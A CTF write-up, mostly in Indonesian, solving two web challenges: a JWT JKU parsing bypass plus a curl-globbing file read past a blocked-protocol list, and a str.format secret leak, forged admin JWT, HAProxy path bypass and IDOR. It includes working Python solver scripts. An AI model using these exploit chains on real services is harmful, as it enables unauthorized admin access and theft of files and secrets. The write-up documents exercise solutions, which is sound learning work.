C2C CTF Quals 2026

AI Usage

Yeah, I use AI as my assistant

Model used

Gemini 3.0 pro

promt i use

  • “Help me analyze this code and find any vulnerabilities”
  • “Based on the strategy I came up with, can you create an exploit for it?”

The purpose of using AI

  • “simplify and speed up script creation”
  • “formulate a hypothesis”
  • “verify whether the strategy is successful and refine it”

Web Exploitation

Clicker

Description

This challenge requires us to gain admin access by bypassing the JWT validation filter (specifically the JKU header), then using the curl-based file download feature in the admin panel to read /flag.txt. The main obstacles are the Python string filter that blocks the file:// scheme and the curl binary limitations within the container.

initial analysis

Here is an attachment containing all of these files

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ tree
.
├── app.py
├── docker-compose.yml
├── Dockerfile
├── generate_keys.py
├── requirements.txt
├── routes
│   ├── admin.py
│   ├── auth.py
│   └── game.py
├── run.sh
├── static
│   ├── mambo.jpg
│   └── mambo.mp3
├── templates
│   ├── admin.html
│   ├── game.html
│   └── index.html
├── utils
│   ├── auth.py
│   ├── db.py
│   ├── jwt_utils.py
│   └── url_parser.py
└── web_clicker.zip

5 directories, 19 files

find vuln

vuln nya ada 2 tahap

  • Server-Side Request Forgery (SSRF) / URL Parsing Confusion pada validasi JWT JKU (JSON Web Key Set URL).
  • Bypassing Python URL filter menggunakan fitur ekpansi Curl Globbing. (LFI)

tahap 1 : Server-Side Request Forgery (SSRF) / URL Parsing Confusion pada validasi JWT JKU (JSON Web Key Set URL).

1
2
3
4
5
6
7
8
9
10
# utils/url_parser.py
def extract_domain(url):
    url_without_scheme = remove_scheme(url)
    domain_and_port = url_without_scheme.split('/')[0]

    if '@' in domain_and_port:
        parts = domain_and_port.split('@')
        domain_and_port = parts[1]

    return domain_and_port

and

1
2
3
4
# in utils/jwt_utils
response = requests.get(jku_url, timeout=5, allow_redirects=False)
---snipped code---
decoded = jwt.decode(token, public_key, algorithms=['RS256'])

di bagian file utils/url_parser itu terdapat validasi yang hanya mengecek apakah ada localhost dan Fungsi split('@') sangat berbahaya untuk memparsing URL. Attacker memanfaatkan fitur Basic Authentication HTTP (http://user:pass@host.com) untuk menempatkan kata localhost sebagai username/password palsu, sehingga lolos dari filter if "localhost" in domain_parts, lalu library requests mengeksekusi koneksi ke host asli di belakangnya.

Tahap 2 : Bypassing Python URL filter menggunakan fitur ekpansi Curl Globbing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# in file route/admin.py

@admin_bp.route('/api/admin/download', methods=['POST'])
@token_required
@admin_required
def download_file():
    data = request.get_json()
    url = data.get('url')
    filename = data.get('filename')
    title = data.get('title')
    file_type = data.get('type')

    if not url or not filename or not title:
        return jsonify({'message': 'URL, filename, and title required'}), 400

    # Make sure only http/s are allowed
    blocked_protocols = [
        'dict', 'file', 'ftp', 'ftps', 'gopher', 'gophers',
        'imap', 'imaps', 'ipfs', 'ipns', 'ldap', 'ldaps',
        'mqtt', 'pop3', 'pop3s', 'rtmp', 'rtsp', 'scp',
        'sftp', 'smb', 'smbs', 'smtp', 'smtps', 'telnet',
        'tftp', 'ws', 'wss',
    ]

    url_lower = url.lower().strip()

    for proto in blocked_protocols:
        if url_lower.startswith(proto) or (proto + ':') in url_lower:
            return jsonify({'message': f'Blocked protocol: {proto}'}), 400

    filename = secure_filename(filename)
    if not filename:
        return jsonify({'message': 'Invalid filename'}), 400

    try:
        output_path = os.path.join('static', filename)
        result = subprocess.run(['curl', '-o', output_path, '--', url],
                              capture_output=True, text=True, timeout=30) 

Setelah masuk sebagai Admin, terdapat endpoint /api/admin/download yang menggunakan curl di belakang layar, tujuan kita untuk mendapatkan flag.txt yang terletak di /static/ (Arbitrary File Write) agar bisa di akses tapii ritangannya yaitu

  • Server memblokir protokol dengan url.startswith('file')
  • Binary curl di server tidak memiliki opsi -L (tidak bisa mem-bypass via SSRF HTTP Redirect), menolak protokol data://, dan parameter di-pass dengan aman (menolak Argument Injection -T).

Exploitation

Tahap 1

Penyerang membangkitkan pasangan kunci RSA (Private & Public Key) secara lokal. Kunci publik dikemas dalam format JWKS (JSON Web Key Set) dan disajikan melalui server HTTP port 8000. Untuk menjembatani koneksi antara server target dan mesin lokal, digunakan layanan tunneling (Serveo) agar port 8000 tersebut dapat diakses secara publik.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import http.server
import socketserver
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

PORT = 8000
HOST_IP = "172.17.0.1"
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
pn = public_key.public_numbers()

def int_to_base64(n):
    return base64.urlsafe_b64encode(n.to_bytes((n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode()

# Format JWKS untuk Server
jwks = {
    "keys": [{
        "kty": "RSA", "kid": "pwn", "use": "sig", "alg": "RS256",
        "n": int_to_base64(pn.n), "e": int_to_base64(pn.e)
    }]
}

pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)

with open("privkey.pem", "wb") as f:
    f.write(pem)
print("[*] Private Key disimpan ke 'privkey.pem'")

class JWKSHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print(f"[+] Request masuk dari: {self.client_address[0]} ke path: {self.path}")

        self.send_response(200)
        self.send_header('Content-type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps(jwks).encode())

print(f"[*] JWKS Server berjalan di Port {PORT}")
with socketserver.TCPServer(("", PORT), JWKSHandler) as httpd:
    httpd.serve_forever()

setelah itu saya melakukan bypass autentikasi admin. Kerentanan terletak pada fungsi validate_jku yang membedah URL menggunakan karakter @. Dengan teknik URL Parsing Confusion, saya jg menyusun payloadnya JKU seperti ini https://pwn@localhost@serveo_domain/jwks.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import jwt
import sys
from cryptography.hazmat.primitives import serialization

# --- KONFIGURASI ---
BASE_URL = "http://localhost:5000"
print("[*] Loading Private Key from 'privkey.pem'...")
try:
    with open("privkey.pem", "rb") as f:
        private_key = serialization.load_pem_private_key(
            f.read(), password=None
        )
except FileNotFoundError:
    print("[-] Error: File 'privkey.pem' tidak ditemukan.")
    exit()

# 2. Input Domain Serveo
print("\n" + "="*50)
print("[!] Contoh: ancor.serveo.net (TANPA https://)")
serveo_domain = input("[?] Domain: ").strip()
serveo_domain = serveo_domain.replace("https://", "").replace("http://", "").split("/")[0]
jku_bypass = f"https://pwn@localhost@{serveo_domain}/jwks.json"

payload = {
    "user_id": 1,
    "username": "admin",
    "is_admin": True,
    "exp": 1999999999,
    "jku": jku_bypass
}
headers = {"kid": "pwn", "jku": jku_bypass}

# 4. Sign Token
token = jwt.encode(payload, private_key, algorithm='RS256', headers=headers)
print(f"\n[*] Token JKU Payload: {jku_bypass}")
headers_req = {'Authorization': f'Bearer {token}'}

try:
    r = requests.get(f"{BASE_URL}/api/admin/settings", headers=headers_req)

    if r.status_code == 200:
        print(r.text)

        # Simpan token jika sukses
        with open("admin_token.txt", "w") as f:
            f.write(token)
        print("\n[+] Token disimpan ke 'admin_token.txt'.")
    else:
        print(f"[-] Failed: {r.status_code}")
        print(r.text)
except Exception as e:
    print(f"[!] Error: {e}")

Tahap 2

Setelah mendapatkan akses admin, lanjut ke tahap 2 dimana kita memanfaatkan tehnik globbing karena curl bisa menggunakan tehnik globbing https://everything.curl.dev/cmdline/urls/globbing.html hingga menjadi seperti ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

TGT_URL = "http://localhost:5000"

def curi_bdra():
    try:
        with open("admin_token.txt", "r") as f:
            tkn = f.read().strip()
    except:
        return print("[-] Token tak ada")

    hdr = {'Authorization': f'Bearer {tkn}', 'Content-Type': 'application/json'}

    pyld_emas = "fi{l,l}e:///flag.txt"
    nm_file = "hsl_bdra.txt"

    dt_krm = {
        "url": pyld_emas,
        "filename": nm_file,
        "title": "pwn",
        "type": "image"
    }

    print(f"[*] Kirim pyld: {pyld_emas}")
    r = requests.post(f"{TGT_URL}/api/admin/download", headers=hdr, json=dt_krm)

    if r.status_code == 200:
        print("[+] Sukses bypass filter!")
        r_cek = requests.get(f"{TGT_URL}/static/{nm_file}")
        print(f"\n[!!!] FLAG:\n{r_cek.text}")
    else:
        print("[-] Gagal")

curi_bdra()

hingga mengeluarkan flag seperti ini Gambar 2

flag : C2C{p4rs3r_d1sr4p4ncy_4nd_curl_gl0bb1ng_1s_my_f4v0r1t3_0f89c517a261}

Corp Mail

initial analisis

ini adalah file yang di berikan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
└─$ tree
.
├── docker-compose.yml
├── Dockerfile
├── flask_app
│   ├── application
│   │   ├── auth.py
│   │   ├── config.py
│   │   ├── db.py
│   │   ├── gunicorn.ctl
│   │   ├── __init__.py
│   │   ├── __pycache__
│   │   │   ├── auth.cpython-313.pyc
│   │   │   ├── config.cpython-313.pyc
│   │   │   ├── db.cpython-313.pyc
│   │   │   ├── __init__.cpython-313.pyc
│   │   │   └── utils.cpython-313.pyc
│   │   ├── routes
│   │   │   ├── admin.py
│   │   │   ├── auth.py
│   │   │   ├── __init__.py
│   │   │   ├── __pycache__
│   │   │   │   ├── admin.cpython-313.pyc
│   │   │   │   ├── auth.cpython-313.pyc
│   │   │   │   ├── __init__.cpython-313.pyc
│   │   │   │   └── user.cpython-313.pyc
│   │   │   └── user.py
│   │   ├── static
│   │   │   └── style.css
│   │   ├── templates
│   │   │   ├── admin_emails.html
│   │   │   ├── admin.html
│   │   │   ├── base.html
│   │   │   ├── compose.html
│   │   │   ├── email.html
│   │   │   ├── inbox.html
│   │   │   ├── login.html
│   │   │   ├── register.html
│   │   │   ├── sent.html
│   │   │   └── settings.html
│   │   └── utils.py
│   ├── app.py
│   ├── data
│   │   └── corporate.db
│   ├── __pycache__
│   │   └── app.cpython-313.pyc
│   └── requirements.txt
├── haproxy
│   └── haproxy.cfg
├── run.sh
├── s.py
├── supervisord.conf

dari file ini kita bisa melihat di sana ada haproxy

Find vuln

celah pertama

pada file file haproxy.cfg terdapat aturan yang memblokir semua akses ke direktori /admin

1
2
3
backend flask_backend
    http-request deny if { path -i -m beg /admin }
    server flask1 127.0.0.1:5000 check

Artinya, HAProxy akan menolak (403 Forbidden) request apa pun yang path-nya dimulai dengan string /admin

celah kedua

Pada file utils.py, terdapat fungsi format_signature yang digunakan saat user memperbarui signature email mereka di menu Settings:

1
2
3
4
5
6
7
8
def format_signature(signature_template, username):
    now = datetime.now()
    try:
        return signature_template.format(
            username=username,
            date=now.strftime('%Y-%m-%d'),
            app=current_app
        )

Fungsi str.format() bawaan Python sangat berbahaya jika format string-nya dikontrol oleh pengguna. Terlebih lagi, developer melewatkan objek app=current_app ke dalamnya. Ini memungkinkan kita untuk membaca atribut apa pun dari objek aplikasi Flask, termasuk kamus konfigurasi (app.config).

celah ketiga

Pada auth.py, aplikasi menggunakan stateless authentication berbasis JWT. Jika kita bisa mendapatkan nilai JWT_SECRET dari file konfigurasi, kita bisa membuat token palsu dengan hak akses is_admin = True.

exploit

Tahap 1: Membocorkan JWT Secret (SSTI)

dengan menggunakan payload

1
SSTI_START{app.config[JWT_SECRET]}SSTI_END

Ketika signature disimpan, fungsi format() Python akan mengevaluasi {app.config[JWT_SECRET]} dan menggantinya dengan nilai secret 64-karakter Hex yang di-generate oleh server. Kita berhasil mendapatkan kunci enkripsinya!

Tahap 2: Forging Admin JWT (Privilege Escalation)

1
2
3
4
5
6
{
  "user_id": 1,
  "username": "admin",
  "is_admin": 1,
  "exp": <timestamp>
}

Kita men- generate token ini secara lokal menggunakan algoritma HS256 dan secret yang baru saja dibocorkan. Sekarang kita memiliki akses admin yang sah secara logika aplikasi.

Tahap 3: Membypass HAProxy

dengan menggunakan /%2fadmin/email/1

Tahap 4: IDOR

arena aplikasi tidak memvalidasi kepemilikan email secara ketat di route admin, kita cukup menggunakan looping (Brute-force ID) dari 1 hingga 15 ke endpoint /%2fadmin/email/{id} dengan melampirkan Header Cookie token admin kita. Flag ditemukan di dalam salah satu pesan email tersebut.

solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests, jwt, time, re, random, string, sys

def rand(n=6):
    return ''.join(random.choices(string.ascii_lowercase+string.digits,k=n))

BASE_URL = "http://localhost:8080"

s = requests.Session()
user = f"user_{rand()}"
pw = "password123"

# 1. Register + login

s.post(f"{BASE_URL}/register", data={
    "username": user,
    "email": f"{user}@corp.local",
    "password": pw,
    "confirm_password": pw
    })
s.post(f"{BASE_URL}/login", data={"username": user, "password": pw})

if "token" not in s.cookies:
    exit("[-] Login gagal")


payload = "X{app.config[JWT_SECRET]}Y"
r = s.post(f"{BASE_URL}/settings", data={"signature": payload})

m = re.search(r'X(.*?)Y', r.text)
if not m:
    exit("[-] SSTI gagal")

secret = m.group(1).strip()
print(f"[+] Secret: {secret}")

# 3. Forge admin JWT

tok = jwt.encode({
    "user_id":1,
    "username":"admin",
    "is_admin":1,
    "exp":int(time.time())+86400
}, secret, algorithm="HS256")


for i in range(1,15):
    url = f"{BASE_URL}/%2fadmin/email/{i}"
    r = requests.get(url, headers={"Cookie":f"token={tok}"})
    print(f"[>] Email {i}: {r.status_code}")

    if "C2C{" in r.text:
        flag = re.search(r'(C2C\{.*?\})', r.text).group(1)
        print(flag)
        break

Gambar 2

flag : C2C{f0rm4t_str1ng_l34k5_4nd_n0rm4l1z4t10n_fc0b7f7463de}

Zoomed Image